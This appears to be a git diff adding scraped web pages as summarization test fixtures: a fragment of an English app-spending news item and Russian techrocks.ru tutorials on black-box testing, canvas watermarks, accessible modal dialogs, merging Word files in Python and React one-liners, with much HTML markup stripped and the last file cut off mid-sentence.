Francisco | October 13-15, 2026 REGISTER NOW Beyond assistants, other popular AI apps included the AI music generation app Suno; ByteDance’s text-to-video app, Jimeng AI; and AI companion apps like Character.ai and PolyBuzz. Image Credits:Sensor Tower However, AI wasn’t the only revenue driver last year, Sensor Tower found. Other apps, including those in categories like social media, video streaming, and productivity, also helped fuel the growth, the report noted. For instance, consumers spent an average of 90 minutes per day on social media apps, totaling nearly 2.5 trillion hours, up 5% year-over-year. +============== diff --git a/tests/summarization/https___techrocks.ru_2024_12_27_black-box-testing_.txt b/tests/summarization/https___techrocks.ru_2024_12_27_black-box-testing_.txt new file mode 100644 index 0000000..26d57a7 --- /dev/null +++ b/tests/summarization/https___techrocks.ru_2024_12_27_black-box-testing_.txt @@ -0,0 +1,2 @@ +Тестирование методом “черного ящика” От Редакция techrocks.ru / 27.12.2024 Перевод статьи “Black Box Testing”. Тестирование программного обеспечения — это не просто поиск ошибок. Безусловно, их важно вылавливать. Но, в конце концов, самое главное — это программное обеспечение, полезное для конечного пользователя. Бизнес — это когда клиенты пользуются вашим продуктом, верно? Поэтому всегда помните, что при тестировании (да и при создании) программного обеспечения некоторые функции могут выглядеть очевидными для вас, но не для конечного пользователя. Что такое «черный ящик»? “Это система, которая выдает результаты без возможности для пользователя увидеть или понять, как она работает”. Кембриджский словарь В тестировании “черный ящик” служит для проверки того, как работает приложение, с нетехнической точки зрения конечного пользователя. Тестировщик проверяет функциональность программного обеспечения, не заботясь о внутренних деталях или стратегиях реализации. Он просто предоставляет системе входные данные, имитируя различные действия пользователя, и наблюдает за выходными данными, генерируемыми системой. Тестирование методом “черного ящика” может охватывать множество аспектов, но его основная цель — проверить выходные данные без учета того, что происходит после ввода входных данных. Поскольку тестировщик имитирует действия конечного пользователя, ему важно иметь представление об этом пользователе. Возможно, стоит даже пообщаться с ним. Глубокие знания о конечном пользователе — это ключ к успеху. Тестировщику, применяющему метод “черного ящика”, не нужно быть частью команды разработчиков, если он знает, каковы системные спецификации и требования к работе приложения. При этом лучше привлекать специалистов, разбирающихся в работе продукта или имеющих определенный опыт его использования. Простое знание спецификаций может быть вредным в некоторых ситуациях, например, когда речь идет об ERP-системе, в которой даже клиент на ежедневной основе использует всего несколько функций. С моей точки зрения, не знать ничего и идти напролом — не идеальный вариант, поскольку возможны мнимые ошибки: «Я не уверен, что при нажатии здесь должно было открыться это окно, а не другое». Когда использовать тестирование “черного ящика”? Метод «черного ящика» применяется в различных видах тестирования: в функциональном тестировании, тестировании пользовательского интерфейса, тестировании удобства использования, ad-hoc тестировании. Все эти виды тестирования помогают создать полное покрытие приложения тестами и устранить возможные риски в приложении, проверить ограничения и смоделировать реальные сценарии. Техники тестирования методом “черного ящика” При тестировании методом черного ящика используются специальные техники, позволяющие получить большое тестовое покрытие. Давайте рассмотрим некоторые из них. Эквивалентное разбиение Входные данные делятся на части с допустимыми и недопустимыми значениями. Пример. Допустим, вы тестируете функцию проверки совершеннолетия пользователя. Для этого достаточно двух дат (рождения): одна должна соответствовать возрасту, меньшему 18 лет, а другая — большему. Эти две даты покроют оба сценария. Анализ граничных значений Проверка границ диапазонов входных данных. Пример. При выборе товара количество должно находиться в диапазоне от 1 до 100. Поэтому тест-кейсы должны вращаться вокруг значений внутри диапазона и за его пределами, таких как отрицательные значения или больше/равно 100. Таблица принятия решений Техника, при которой различные комбинации входных данных и соответствующее им поведение представлены в табличном формате. Рассмотрим авторизацию пользователя при вводе email и пароля. Правильный email Правильный пароль Сообщение Да Да Успех Да Нет Неправильный пароль Нет Да Неправильный email Нет Нет Неправильные данные ддя входа Это таблица условий, которая помогает охватить все возможные случаи. Есть и другие техники: тестирование переходов состояний, исследовательское тестирование и угадывание. Заключение Вот и все, что стоит знать о тестировании методом «черного ящика» и его реализации. Пожалуйста, не стесняйтесь добавлять комментарии и поправлять меня, если это необходимо. 7 уроков дизайна для разработчиков 1 комментарий / Новости, Обучение / От andrey_av Не документируйте код. Кодируйте документацию 1 комментарий / Новости, Обучение / От andrey_av +============== diff --git a/tests/summarization/https___techrocks.ru_2025_01_10_how-to-add-watermarks-to-images_.txt b/tests/summarization/https___techrocks.ru_2025_01_10_how-to-add-watermarks-to-images_.txt new file mode 100644 index 0000000..f891449 --- /dev/null +++ b/tests/summarization/https___techrocks.ru_2025_01_10_how-to-add-watermarks-to-images_.txt @@ -0,0 +1,69 @@ +Как добавить водяной знак к изображению (HTML + JavaScript) От Редакция techrocks.ru / 10.01.2025 Добавлять водяные знаки к картинкам очень просто, для этого используется элемент HTML5 . Добавляемые таким образом водяные знаки можно стилизовать, настраивать их расположение и прозрачность. В этом руководстве мы рассмотрим, как добавить водяной знак в виде текста или картинки. 1. Создаем структуру HTML Для начала добавляем тег для исходного изображения и элемент в наш HTML-код. + + + + + Document + + + + + + + + 2. JavaScript-код для добавления текстового водяного знака Вы можете использовать Canvas API для отрисовки изображения и добавления текстового водяного знака. Вот так: const canvas = document.getElementById('canvas'); +const context = canvas.getContext('2d'); +const image = document.getElementById('sourceImage'); + +// Set the canvas size to match the image dimensions +image.onload = function() { + canvas.width = image.width; + canvas.height = image.height; + context.drawImage(image, 0, 0); + + // Set text properties for the watermark + context.font = "30px Arial"; + context.fillStyle = "rgba(255, 255, 255, 0.5)"; // white text with 50% opacity + context.textAlign = "right"; + context.textBaseline = "bottom"; + + // Draw the watermark text + context.fillText("Your Watermark Text", canvas.width - 10, canvas.height - 10); // bottom-right corner +}; Этот код выведет изображение на холсте, а затем добавит полупрозрачный текст в нижнем правом углу. 3. Как добавить водяной знак в виде картинки Если вы предпочитатете использовать в качестве водяного знака картинку, загрузите ее отдельно и отрисуйте поверх основного изображения. const watermarkImage = new Image(); +watermarkImage.src = 'path/to/watermark.png'; + +watermarkImage.onload = function() { + context.drawImage(watermarkImage, canvas.width - watermarkImage.width - 10, canvas.height - watermarkImage.height - 10); +}; Здесь watermarkImage рисуется в правом нижнем углу холста, в 10 пикселях от краев. Предварительно настройте его непрозрачность в редакторе изображений или в Canvas с помощью globalAlpha: context.globalAlpha = 0.5; // 50% opacity +context.drawImage(watermarkImage, canvas.width - watermarkImage.width - 10, canvas.height - watermarkImage.height - 10); +context.globalAlpha = 1.0; // Reset opacity for future drawings 4. Экспорт результата Чтобы сохранить или использовать изображение с водяным знаком, преобразуйте содержимое canvas в URL-адрес данных: const watermarkedImageURL = canvas.toDataURL("image/png"); Вы можете использовать этот URL для загрузки изображения с водяным знаком или задать его в качестве src для другого тега . Полный код Объединяем все шаги: + + + Советы по настройке Настраивайте расположение водяных знаков, меняя координаты x и y в fillText и drawImage. Изменяйте context.globalAlpha, чтобы управлять прозрачностью водяного знака-картинки. Чтобы придать текстовому водяному знаку желаемый стиль, настраивайте context.font и context.fillStyle. Этот код позволяет накладывать как текстовые, так и графические водяные знаки с настраиваемыми параметрами стиля. Для дальнейшей кастомизации можно менять свойства шрифта, цвет и расположение водяных знаков. Перевод статьи “How to Add Image Watermarks Using HTML5 Canvas”. 7 уроков дизайна для разработчиков 1 комментарий / Новости, Обучение / От andrey_av Не документируйте код. Кодируйте документацию 1 комментарий / Новости, Обучение / От andrey_av +============== diff --git a/tests/summarization/https___techrocks.ru_2025_01_19_how-to-build-accessible-modals_.txt b/tests/summarization/https___techrocks.ru_2025_01_19_how-to-build-accessible-modals_.txt new file mode 100644 index 0000000..74f2730 --- /dev/null +++ b/tests/summarization/https___techrocks.ru_2025_01_19_how-to-build-accessible-modals_.txt @@ -0,0 +1,119 @@ +Как создать модальное окно От Редакция techrocks.ru / 19.01.2025 Перевод статьи “How to Build an Accessible Modal – with Example Code”. Мы часто используем модальные или всплывающие окна для отображения важной информации или побуждения пользователей к действию. В отличие от обычных всплывающих окон, которые могут открываться в новых окнах или вкладках, эти диалоги удерживают пользователя на одной странице, накладываясь на существующий контент. Благодаря этому пользователи не отвлекаются от выполнения поставленной задачи. Модальные окна довольно часто используются на сайтах, порой без них не обойтись. Но если они реализованы неправильно, то могут серьезно испортить пользовательский опыт. Такие элементы дизайна должны быть доступными, чтобы ими моли пользоваться все, в том числе люди, применяющие вспомогательные технологии. В этой статье мы создадим модальное окно с учетом рекомендаций по доступности. Необходимые условия Чтобы следовать этому руководству, у вас должны быть: Базовые знания HTML. Нужно понимать, как работают элементы и атрибуты HTML. Базовые знания JavaScript. Знакомство с основными концепциями JavaScript, такими как функции, обработка событий и манипуляции с DOM, будет полезным. Понимание ARIA. Хотя в этом руководстве объясняются роли и атрибуты ARIA, базовое понимание концепций доступности будет не лишним. Когда следует использовать модальные окна? Эффективное использование модальных окон требует внимательного отношения к пользовательскому опыту. Вот несколько рекомендаций, которые помогут вам решить, стоит ли использовать модальные окна: Модальные окна следует использовать, когда пользователю необходимо принять важное решение, например, подтвердить потенциально разрушительное действие (скажем, удаление элемента) или согласиться с условиями и правилами. Вы можете использовать модальное окно, когда задача требует полного внимания пользователя и не зависит от информации с остальной части страницы (например, заполнение формы или завершение процесса оплаты). Модальное окно можно использовать для отображения временной или преходящей информации, которая не должна постоянно отображаться на странице (предупреждения, уведомления или короткие сообщения). Не стоит использовать модальные окна для задач, требующих длительного взаимодействия или ввода, например, для длинных форм или сложных рабочих процессов. Пользователю может быть неудобно работать в модальном окне из-за ограниченного пространства и навигационных ограничений. Не стоит использовать модальные окна для действий, которые пользователь должен выполнять часто. Постоянно всплывающие окна могут раздражать. Не следует использовать модальные окна, если они прерывают естественный ход работы пользователя на сайте, особенно если содержимое или действие в окне не является срочным или важным. Рекомендации по доступности модальных окон Вот несколько советов, которые помогут вам создать полезные и доступные модальные окна: Предусмотрите описательный атрибут aria-labelledby, указывающий на заголовок модального окна. Если заголовка нет, используйте aria-label для создания короткой описательной метки. В модальном окне обязательно должна быть видимая и легкодоступная кнопка закрытия (обычно ее располагают в правом верхнем углу). Четко обозначьте эту кнопку, например, текстом «Закрыть» или значком с aria-label="Закрыть". При открытии модального окна фокус клавиатуры должен перемещаться на первый интерактивный элемент внутри этого окна (обычно это кнопка закрытия). После закрытия модального окна фокус должен возвращаться к элементу, который вызвал модальное окно. Сохраняйте фокус клавиатуры внутри модального окна, пока оно открыто. Предоставляйте пользователям возможность закрывать модальные окна нажатием клавиши Escape. А теперь давайте создадим модальное окно, следуя этим рекомендациям. Я предпочитаю использовать правильные HTML-теги для создания компонентов, и в данном случае я буду использовать тег dialog. Как создать модальное окно с помощью тега dialog Тег dialog появился в HTML5. Он используется для создания диалоговых окон, таких как всплывающие окна, оповещения и модальные окна. Этот тег предлагает встроенные методы и атрибуты, облегчающие управление поведением окна без использования большого количества JavaScript-кода. Встроенные методы JavaScript — это show(), showModal() и close(). show() и showModal() С помощью метода show() можно создать неблокирующее диалоговое окно. Такое окно отображается поверх текущего содержимого, но пользователи могут взаимодействовать с другими частями веб-страницы (нажимать кнопки, ссылки и т. д.), пока окно открыто. Это полезно в ситуациях, когда диалоговое окно предоставляет информацию, которая не требует немедленного внимания пользователя. Вот пример: + + + + + Результат: Метод showModal() открывает диалоговое окно в модальном режиме. Это означает, что окно принимает фокус, а взаимодействие с остальной частью веб-страницы блокируется до тех пор, пока окно не будет закрыто. Пользователь не может кликать или как-то иначе взаимодействовать с любой другой частью страницы. В зависимости от браузера за диалоговым окном может появляться полупрозрачный фон, визуально указывающий на то, что с остальной частью страницы невозможно взаимодействовать. Когда диалоговое окно открывается с помощью showModal(), фокус автоматически удерживается внутри окна. Пользователь может переходить к различным элементам внутри диалогового окна с помощью клавиши табуляции, и фокус будет циклически перемещаться по содержимому окна до тех пор, пока оно не будет закрыто. Вот пример: + + + + Результат: Элемент имеет стили по умолчанию, но его можно настроить с помощью CSS в соответствии с вашим дизайном. Вы можете изменить стиль диалогового окна, добавить анимацию или изменить фон. Фон можно стилизовать с помощью селектора ::backdrop. Например: dialog::backdrop { + background: rgba(0, 0, 0, 0.7); +} Элемент также оснащен некоторыми встроенными функциями доступности, такими как управление фокусом, задний фон, автоматическое объявление при открытии и закрытие диалогового окна нажатием клавиши ESC. Вы можете добавить атрибут autofocus к первому интерактивному элементу в модальном окне, например, к первому вводимому элементу формы или кнопке закрытия. В качестве альтернативы можно полагаться на встроенную функцию управления фокусом в элементе . Избегайте использования tabindex для элемента , поскольку он не является интерактивным элементом, таким как кнопка или ссылка. Элемент служит контейнером для интерактивного содержимого, он не предназначен для получения фокуса напрямую. Элемент обеспечивает нативный способ создания модальных окон. Если вы создаете кастомизированное модальное окно, убедитесь, что его функции доступности соответствуют возможностям нативного элемента . Собираем все вместе: + + + +

Modal title

+
+ + +
+
+ + + Вы заметили, что я не использовала атрибут aria-label в диалоговом окне, как было рекомендовано. Это потому, что хорошо структурированный элемент диалогового окна не обязательно нуждается в таком атрибуте. В данном случае в элементе диалогового окна есть видимая метка (элемент h2). Если видимых меток нет, то их нужно добавить. Как в этом примере: +

Are you sure you want to proceed?

+ +
Что такое атрибут inert? Когда модальное окно открыто, устройство чтения с экрана (скринридер) может переходить к содержимому вне модального окна. Обычно нужно, чтобы фокус пользователя был ограничен самим модальным окном или чтобы пользователь не мог случайно нажать на элементы вне модального окна, чтобы избежать путаницы и ошибок. Для такого ограничения вам понадобится атрибут inert. Атрибут inert делает элемент и всех его потомков неинтерактивными и недоступными для вспомогательных технологий. Когда модальное окно открыто, использование атрибута inert для остального содержимого страницы обеспечит доступ только к содержимому модального окна, что сделает диалог более понятным. Как использовать атрибут inert Когда модальное окно открыто, вы можете применить атрибут inert к остальному содержимому страницы (обычно к элементу
). Когда модальное окно закрывается, вы удаляете атрибут inert. Вот пример, показывающий, как использовать inert в модальном диалоге: +
Site Header
+
+ +

This is the main content of the page.

+ + +
+ + +

Modal Title

+

This is the content inside the modal.

+ +
+ + + Как анимировать состояния открытия и закрытия Когда модальное окно появляется (состояние открытия) или исчезает (состояние закрытия), резкость перехода может вызвать раздражение у пользователей. Анимация этих состояний может создать более плавный пользовательский опыт. Зачем анимировать состояния открытия и закрытия? Анимация состояний открытия и закрытия модального окна может: Улучшить пользовательский опыт. Плавная анимация может сделать переход менее резким и более интересным. Привлечь внимание. Легкая анимация поможет направить внимание пользователя на содержимое модального окна при его появлении. Поддержать единообразие. Последовательная анимация во всем пользовательском интерфейсе может создать ощущение целостности и профессионализма. По умолчанию настроен на display:none, когда он закрыт, и display:block, когда открыт. Переход от none к block в CSS невозможен, но вы можете комбинировать свойства display с transform или opacity. Свойство transform можно использовать для масштабирования или перемещения модального окна, а opacity управляет его прозрачностью. Вот пример того, как можно анимировать модальное окно: dialog { + animation: zoom-out 0.5s ease-out; +} + +/* an open attribute is added to the dialog when it is open */ +dialog[open] { + animation: zoom-in 0.5s ease-out; +} + +/* The display property in the keyframes is critical +because it toggles the modal’s visibility on and off. */ +@keyframes zoom-in { + 0% { + opacity: 0; + transform: scale(0.1); + display: none; + } + 100% { + opacity: 1; + transform: scale(1); + display: block; + } +} + +@keyframes zoom-out { + 0% { + opacity: 1; + transform: scale(1); + display: block; + } + 100% { + opacity: 0; + transform: scale(0); + display: none; + } +} Конечный результат: See the Pen Modal Sample by Elizabeth (@leezee) on CodePen. Заключение Элемент — это основной способ создания модальных окон. Он предоставляет встроенные функции, доступные как для пользователей клавиатуры, так и для пользователей скринридеров. Элемент бывает модальным и немодальным. Вы можете создать немодальный диалог с помощью метода show(), а с помощью метода showModal() — модальный. Если вы не используете нативный элемент dialog, следите за тем, чтобы ваше модальное окно соответствовало окнам, созданным с помощью элемента dialog, с точки зрения доступности, чтобы обеспечить единый опыт для всех пользователей. Также не забывайте автоматически помещать в фокус элемент, который должен стать интеркативным с самого начала. Элемент dialog может делать это по умолчанию. Наконец, вы можете использовать атрибут inert для других элементов, чтобы предотвратить доступ к ним при открытом модальном окне. 7 уроков дизайна для разработчиков 1 комментарий / Новости, Обучение / От andrey_av Не документируйте код. Кодируйте документацию 1 комментарий / Новости, Обучение / От andrey_av +============== diff --git a/tests/summarization/https___techrocks.ru_2025_01_23_how-to-merge-word-documents-in-python_.txt b/tests/summarization/https___techrocks.ru_2025_01_23_how-to-merge-word-documents-in-python_.txt new file mode 100644 index 0000000..38ac009 --- /dev/null +++ b/tests/summarization/https___techrocks.ru_2025_01_23_how-to-merge-word-documents-in-python_.txt @@ -0,0 +1,87 @@ +Как объединять документы Word с помощью Python От Редакция techrocks.ru / 23.01.2025 С помощью Python можно автоматизировать объединение нескольких документов Word в один целостный файл и таким образом оптимизировать процессы управления документами. Такой подход не только экономит время, но и обеспечивает последовательность и точность результатов. Интегрировав подобную автоматизацию в рабочие процессы, например в триггеры сборки или запланированные задачи, вы сможете повысить эффективность работы и сократить ручные усилия. В этой статье мы рассмотрим три эффективных способа объединения нескольких документов Word в один: с помощью docxcompose, pypandoc и python-docx. Все три метода имеют свои преимущества и подходят для разных случаев использования. Содержание Как объединять документы с помощью docxcompose Как объединять документы с помощью pypandoc Как объединять документы с помощью python-docx 1. Как объединять документы с помощью docxcompose docxcompose — это специализированная библиотека Python, разработанная специально для слияния документов Word с сохранением их сложного форматирования и структурных элементов. В отличие от библиотек общего назначения, docxcompose фокусируется на сохранении целостности документа в процессе слияния. Благодаря этому она отлично подходит для задач, в которых важно сохранить верхние и нижние колонтитулы, а также пользовательские стили. Ключевые особенности Сохранение сложного форматирования. Заголовки, колонтитулы и стили каждого документа сохранятся в итоговом объединенном документе. Последовательное объединение. Документы можно соединять в определенном порядке. Это важно для структурированной сборки документов. Простая интеграция. Библиотека docxcompose разработана для работы с библиотекой python-docx, что позволяет легко внедрять ее в существующие рабочие процессы. Время обработки. docxcompose оптимизирована для объединения больших документов с сохранением сложного форматирования и стилей. Документы обрабатываются последовательно, что может привести к снижению производительности при работе с очень большими документами. Использование памяти. docxcompose требует умеренного использования памяти, так как ей необходимо хранить объединенный документ в памяти перед сохранением на диск. Когда стоит использовать docxcompose Используйте docxcompose, если: Вам нужно объединить файлы DOCX, сохранив при этом форматирование и элементы макета. Вы имеете дело с документами, в которых применялись различные стили, верхние и нижние колонтитулы или другие расширенные возможности форматирования. Ваша главная цель — объединить документы без потери их исходного форматирования или структуры. Как установить docxcompose Чтобы использовать docxcompose, установите библиотеку с помощью следующей команды: pip install docxcompose Пример кода Вот скрипт на Python, который использует docxcompose для объединения нескольких файлов DOCX: from docxcompose.composer import Composer +from docx import Document + +def merge_docs(output_path, *input_paths): + + base_doc = Document(input_paths[0]) + composer = Composer(base_doc) + + + for file_path in input_paths[1:]: + doc = Document(file_path) + composer.append(doc) + + composer.save(output_path) + print(f"Documents merged successfully into {output_path}") + +if __name__ == "__main__": + output_file = "merged_document.docx" + input_files = ["doc1.docx", "doc2.docx", "doc3.docx"] + merge_docs(output_file, *input_files) В этом коде: Composer управляет процессом слияния, принимая исходный документ и добавляя к нему дополнительные документы с сохранением их форматирования append добавляет содержимое каждого последующего документа к основному документу, сохраняя оригинальный макет и стили save завершает работу и сохраняет объединенный документ по указанному пути Как добавить разрывы страниц с помощью docxcompose Разрывы страниц помогают сохранить четкое разделение между разделами, улучшая организацию и читабельность документа. С помощью docxcompose вы можете проследить за тем, чтобы каждый добавляемый документ начинался с новой страницы. Это улучшает структуру конечного документа и навигацию по нему. from docxcompose.composer import Composer +from docx import Document + +def merge_docs_with_page_breaks(output_path, *input_paths): + + base_doc = Document(input_paths[0]) + composer = Composer(base_doc) + + + for file_path in input_paths[1:]: + doc = Document(file_path) + + # adding page break before merging each document + base_doc.add_page_break() + composer.append(doc) + + composer.save(output_path) + print(f"Documents merged successfully into {output_path}") + +if __name__ == "__main__": + output_file = "merged_document_with_page_breaks.docx" + input_files = ["doc1.docx", "doc2.docx", "doc3.docx"] + merge_docs_with_page_breaks(output_file, *input_files) Примечание. Этот же метод можно использовать для объединения нескольких документов Google в один, предварительно экспортировав документы Google Docs в формат Word. 2. Как объединять документы с помощью pypandoc pypandoc — это мощный инструмент, использующий Pandoc для конвертирования и объединения документов самых разных форматов. Инструмент Pandoc известен своей универсальностью в деле конвертации документов, а pypandoc расширяет эту функциональность на Python, позволяя объединять документы разных форматов и из разных источников. Ключевые особенности Межформатное преобразование. Pypandoc поддерживает преобразование между различными форматами, такими как DOCX, Markdown, HTML и др. Унифицированный вывод. Pypandoc позволяет объединять содержимое документов в различных форматах в один файл DOCX. Это полезно в тех случаях, когда нужно объединить документы, созданные с помощью различных инструментов. Слияние на основе текста. pypandoc конвертирует документы в простой текст для слияния, а разультат — обратно в DOCX, что упрощает процесс объединения. Время обработки. pypandoc обычно работает быстрее, чем docxcompose, поскольку использует возможности Pandoc для упрощения процесса объединения документов. Однако он может быть медленнее при работе с очень большими документами или документами со сложным форматированием. Использование памяти. pypandoc требует меньше памяти по сравнению с docxcompose, так как он преобразует документы в обычный текст перед слиянием, что уменьшает занимаемую память. Когда стоит использовать pypandoc Используйте pypandoc, если: Вам нужно объединить документы в разных форматах (например, DOCX, Markdown, HTML) в один файл Word. Вы работаете с контентом из разных источников и вам нужно получить единый результат. Вам требуется гибкое решение для интеграции документов, которое бы справлялось с преобразованием форматов. Как установить pypandoc Установить pypandoc можно с помощью следующей команды: pip install pypandoc Пример кода Вот скрипт на Python, который использует pypandoc для объединения документов разных форматов в один файл DOCX: import pypandoc +import os + +def merge_docs(output_path, *input_paths): + all_text = "" + for file_path in input_paths: + if not os.path.isfile(file_path): + print(f"File not found: {file_path}") + continue + + text = pypandoc.convert_file(file_path, 'plain') + all_text += text + "\n\n" + + + doc = pypandoc.convert_text(all_text, 'docx', format='md') + with open(output_path, 'wb') as f: + f.write(doc) + + print(f"Documents merged successfully into {output_path}") + +if __name__ == "__main__": + output_file = "merged_document.docx" + input_files = ["doc1.md", "doc2.html", "doc3.docx"] + merge_docs(output_file, *input_files) В этом коде: convert_file преобразует каждый документ в простой текст, удаляя форматирование, что упрощает процесс слияния convert_text преобразует объединенный простой текст обратно в формат DOCX, что позволяет получить единый выходной документ pypandoc также позволяет выполнять множество других операций с документами, например конвертировать файлы DOCX в Markdown, что позволяет автоматизировать публикацию документов Word или Google Docs в WordPress или любой другой CMS. Примечание. Хотя pypandoc эффективно конвертирует и объединяет документы, имейте в виду, что форматирование текста может быть потеряно. При объединении документов на основе текста могут не сохраниться все оригинальные стили, заголовки и другие детали форматирования исходных документов. 3. Как объединять документы с помощью python-docx python-docx — это широко используемая библиотека для создания и чтения файлов DOCX и работы с ними. Хотя она не специализируется на объединении файлов, вы все равно можете эффективно использовать ее для базовых задач слияния. Эта библиотека подходит для простых манипуляций с документами и их слияния без необходимости сохранения сложного форматирования. Ключевые особенности Базовая работа с документами. Библиотека python-docx позволяет создавать, читать и редактировать файлы DOCX. Простое слияние. python-docx может использоваться для базовых задач слияния, когда сохранение расширенного форматирования не является первостепенной задачей. Простота использования. Библиотека предоставляет простой API для работы с документами, что делает ее доступной для базовых потребностей. Время обработки. Это самый быстрый метод объединения документов. Однако при использовании python-docx может не сохраняться сложное форматирование и стили. Использование памяти. Этот метод требует наименьшего объема памяти из всех трех методов, так как он только временно сохраняет объединенный документ в памяти перед сохранением на диск. Когда стоит использовать python-docx Используйте python-docx, если: Вам нужно простое решение для объединения файлов DOCX без сложных требований к форматированию. Документы, которые вы объединяете, не содержат сложных элементов, таких как пользовательские колонтитулы или стили. Вы ищете простой подход к объединению файлов DOCX с минимальными настройками. Как установить python-docx Чтобы использовать python-docx, установите библиотеку с помощью следующей команды: pip install python-docx Пример кода Вот скрипт на Python, который использует python-docx для объединения файлов DOCX: from docx import Document +import os + +def merge_docs(output_path, *input_paths): + merged_doc = Document() + + for file_path in input_paths: + if not os.path.isfile(file_path): + print(f"File not found: {file_path}") + continue + + doc = Document(file_path) + for element in doc.element.body: + merged_doc.element.body.append(element) + + merged_doc.save(output_path) + print(f"Documents merged successfully into {output_path}") + +if __name__ == "__main__": + output_file = "merged_document.docx" + input_files = ["doc1.docx", "doc2.docx", "doc3.docx"] + merge_docs(output_file, *input_files) В этом коде: Document представляет документ Word в Python element.body.append добавляет содержимое каждого документа в объединенный документ save сохраняет конечный объединенный документ по указанному пути Заключение Каждый метод объединения документов Word в Python предлагает определенные преимущества: docxcompose сохраняет сложное форматирование и стили, но может быть медленнее для больших документов и требует умеренного использования памяти pypandoc идеально подходит для объединения документов разных форматов и требует меньше памяти, но может потерять часть форматирования python-docx подходит для простых задач объединения документов с базовыми требованиями к форматированию и является самым быстрым методом с наименьшим потреблением памяти При выборе метода учитывайте не только сложность документов, но и производительность и требования к памяти вашего приложения. Если вам нужно объединять большие документы со сложным форматированием, лучшим выбором может стать docxcompose, но будьте готовы к более медленному времени обработки. Если вам нужно объединить контент из разных источников, pypandoc — хороший вариант, но помните о возможной потере форматирования. Ну а python-docx — быстрое и легкое решение для простых задач по объединению материалов. Рассмотрев сильные и слабые стороны каждого метода, вы сможете принять взвешенное решение и выбрать лучший подход для вашего конкретного случая использования. Это обеспечит вам эффективный и результативный процесс слияния документов. Перевод статьи “How to Merge Word Documents in Python – Three Effective Methods with Examples”. 7 уроков дизайна для разработчиков 1 комментарий / Новости, Обучение / От andrey_av Не документируйте код. Кодируйте документацию 1 комментарий / Новости, Обучение / От andrey_av +============== diff --git a/tests/summarization/https___techrocks.ru_2025_01_29_10-react-one-liners_.txt b/tests/summarization/https___techrocks.ru_2025_01_29_10-react-one-liners_.txt new file mode 100644 index 0000000..f728105 --- /dev/null +++ b/tests/summarization/https___techrocks.ru_2025_01_29_10-react-one-liners_.txt @@ -0,0 +1,6 @@ +10 однострочников React, которые должен знать каждый UI-разработчик От Редакция techrocks.ru / 29.01.2025 Сегодня мы погрузимся в мир однострочников React — этих удобных, компактных фрагментов кода, которые могут сделать вашу жизнь намного проще. React JS стал основной библиотекой для создания пользовательских интерфейсов, и на то есть веские причины. Он гибкий, эффективный и позволяет нам создавать удивительные вещи. Но иногда мы пишем больше кода, чем нужно. Вот тут-то и пригодятся однострочники. Они как швейцарские армейские ножи в мире React — маленькие, но очень мощные! Так что устраивайтесь поудобнее и давайте рассмотрим десять однострочников React, которые позволят вам кодить умнее, а не сложнее. Готовы? Приступаем! 1. Условный рендеринг Давайте начнем с классического сценария React: условного рендеринга. Это когда вы хотите показать что-то только при выполнении определенного условия. Традиционно для этого используется оператор if или тернарный оператор. Но посмотрите на это: {condition && } Тут используется логический оператор AND (&&) для отображения компонента только в том случае, если условие истинно. Этот код прост, чист и выполняет свою работу без лишних хлопот. Как это работает? Красота этого однострочника заключается в том, как JavaScript оценивает логические выражения. Если условие перед && ложно, то все выражение ложно, и React ничего не отображает. Но если оно истинно, React переходит к оценке того, что идет после && (в данном случае — наш компонент). Когда это использовать? Эта техника идеально подходит для тех случаев, когда у вас есть четкая ситуация да/нет. Возможно, вы хотите показывать приветственное сообщение только для вошедших в систему пользователей или выводить специальное предложение только в определенные часы. В подобных случаях этот прием вам поможет. 2. Пропсы по умолчанию Далее поговорим о пропсах по умолчанию. Все мы знаем, как важно обрабатывать случаи, когда компоненту могут быть не переданы данные (пропсы). Обычный способ обработки заключается в установке defaultProps или использовании параметров по умолчанию в сигнатуре функции. Но вот быстрый однострочник для подобных задач: const {prop = defaultValue} = props; В этой строке используется деструктурирующее присваивание со значением по умолчанию. Если prop не определен в props, будет использоваться defaultValue. Почему это здорово? Этот подход очень чист, вся работа происходит прямо в теле функции. Это особенно удобно, когда вы имеете дело с несколькими пропсами и не хотите загромождать сигнатуру функции или добавлять отдельный объект defaultProps. Пример из реального мира Представьте, что вы создаете компонент Button, который может иметь разные размеры. Вы можете использовать его следующим образом: const Button = ({ size = 'medium', children }) => { + return ; +}; Теперь, если кто-то воспользуется вашей кнопкой, не указав ее размер, по умолчанию size будет иметь значение «medium». Неплохо, правда? 3. Обновление состояния Управление состоянием — важная часть React-разработки. Иногда бывает необходимо обновить состояние, основываясь на его предыдущем значении. Вот однострочник, который позволяет сделать это без труда: setCount(prevCount => prevCount + 1); Здесь используется функциональная форма сеттера состояния, который получает предыдущее состояние в качестве аргумента. Магия, которая за этим стоит Такой подход гарантирует, что вы всегда будете работать с самым актуальным значением состояния, что очень важно в сценариях, где обновление состояния может быть пакетным или происходить с задержкой. Когда следует прибегать к этому методу? Используйте этот способ всякий раз, когда вам нужно обновить состояние на основе его предыдущего значения. Это особенно полезно в таких сценариях, как счетчики, переключение булевых значений или любые ситуации, когда новое состояние зависит от старого. 4. Манипуляции с массивами Манипуляции с массивами в React — распространенная задача, особенно при работе со списками элементов. Вот однострочник, который поможет вам добавить элемент в массив в состоянии, не изменяя оригинал: setItems(prevItems => [...prevItems, newItem]); С помощью оператора spread создается новый массив со всеми предыдущими элементами и новым элементом в конце. Почему это важно? В React неизменяемость является ключевым фактором производительности и предсказуемости. Этот однострочник гарантирует, что вы создаете новый массив, а не изменяете существующий, а это именно то, что нужно React. Практическое применение Допустим, вы создаете приложение для составления списка задач. Вы можете использовать этот однострочник для обновления состояния при добавлении новой задачи пользователем: const addTask = (newTask) => { + setTasks(prevTasks => [...prevTasks, newTask]); +}; Просто, чисто и эффективно! 5. Обновление объектов Как и в случае с массивами, обновление объектов в состоянии — распространенная операция в React. Вот однострочник, который позволяет обновлять определенные свойства объекта, не изменяя оригинал: setUser(prevUser => ({ ...prevUser, name: 'New Name' })); С помощью оператора spread создается новый объект со всеми свойствами предыдущего, но свойство 'name' перезаписывается новым значением. В чем красота? Такой подход сохраняет неизменяемость, позволяя обновлять только те свойства, которые вам нужны. Это все равно что сказать: «Оставь все прежним, за исключением этих конкретных изменений». Когда вам это пригодится? Этот способ хорош, когда вы имеете дело с формами или любым другим сценарием, в котором вам нужно обновить часть объекта на основе пользовательского ввода или других событий. 6. Рефы обратного вызова Рефы в React очень полезны для прямого доступа к элементам DOM. Вот однострочник, который устанавливает обратный вызов ref: node && node.focus()} /> Это создает элемент ввода, который автоматически фокусируется при рендеринге. Как это работает? Обратный вызов ref получает 